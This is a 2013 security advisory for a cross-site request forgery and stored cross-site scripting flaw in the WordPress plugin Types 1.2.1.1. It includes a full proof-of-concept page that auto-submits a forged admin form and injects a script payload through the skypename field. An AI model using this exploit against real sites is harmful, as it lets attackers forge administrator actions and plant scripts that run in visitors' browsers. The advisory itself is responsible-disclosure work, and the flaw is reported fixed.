SSCHADV2013-005 - WordPress Plugin 'Types 1.2.1.1' Cross-Site Request Forgery & Stored Cross-site scripting vulnerability

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Posted by Stefan Schurtz on Saturday, April 6. 2013

^Advisory:	WordPress Plugin ‘Types 1.2.1.1’ Cross-Site Request Forgery & Stored Cross-site scripting vulnerability
Advisory ID:	SSCHADV2013-005
Author:	Stefan Schurtz
Affected Software:	Successfully tested on Types 1.2.1.1
Vendor URL:	http://wordpress.org/extend/plugins/types/
Vendor Status:	fixed
CVE-ID:	CVE-2013-2768

======================
Vulnerability Description
======================

The parameter ‘skypename’ of the WordPress plugin Types 1.2.1.1 is prone to a CSRF and stored XSS vulnerability

==============
PoC-Exploit
==============

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">

<html>
<head>
<title>OWASP CRSFTester Demonstration</title>
</head>

<body onload="javascript:fireForms()">
<script language="JavaScript">
var pauses = new Array( "180" );

function pausecomp(millis)
{
    var date = new Date();
    var curDate = null;

    do { curDate = new Date(); }
    while(curDate-date < millis);
}

function fireForms()
{
    var count = 1;
    var i=0;

    for(i=0; i<count; i++)
    {
        document.forms[i].submit();

        pausecomp(pauses[i]);
    }
}

</script>
<H2>OWASP CRSFTester Demonstration</H2>
<form method="POST" name="form0" action="http://[target]:80/wordpress/wp-admin/admin.php?page=wpcf-edit">
<input type="hidden" name="wpcf[group][name]" value="custom-field-xss"/>
<input type="hidden" name="wpcf[group][description]" value="custom-field-xss"/>
<input type="hidden" name="wpcf[group][supports][page]" value="page"/>
<input type="hidden" name="wpcf[group][taxonomies][category]¹" value="1"/>
<input type="hidden" name="wpcf[group][filters_association]" value="any"/>
<input type="hidden" name="wpcf[group][conditional_display][relation]" value="AND"/>
<input type="hidden" name="wpcf[group][conditional_display][custom]" value=""/>
<input type="hidden" name="_wpcf_cd_count_8f4483265b96384425c4987b109ac977-1" value="0"/>
<input type="hidden" name="wpcf[fields][skype-286667805][name]" value="<body onload=alert(/xss/) />"/>
<input type="hidden" name="wpcf[fields][skype-286667805][slug]" value="custom-field-xss"/>
<input type="hidden" name="wpcf[fields][skype-286667805][description]" value="custom-field-xss"/>
<input type="hidden" name="wpcf[fields][skype-286667805][repetitive]" value="0"/>
<input type="hidden" name="wpcf[fields][skype-286667805][type]" value="skype"/>
<input type="hidden" name="wpcf[fields][skype-286667805][validate][required][value]" value="true"/>
<input type="hidden" name="wpcf[fields][skype-286667805][validate][required][message]" value="This Field is required"/>
<input type="hidden" name="wpcf[fields][skype-286667805][is_new]" value="1"/>
<input type="hidden" name="_wpnonce_wpcf" value="1da0e73f7d"/>
<input type="hidden" name="_wp_http_referer" value="/wordpress/wp-admin/admin.php?page"/>
</form>

</body>
</html>

=====
Solution
=====

Upgrade to the latest version

================
Disclosure Timeline
================

30-Mar-2013 – informed plugins@wordpress.org

04-Apr-2013 – fixed by developer

====
Credits
====

Vulnerability found and advisory written by Stefan Schurtz.

=======
References
=======

http://wordpress.org/extend/plugins/types/changelog/
http://www.darksecurity.de/advisories/2013/SSCHADV2013-005.txt

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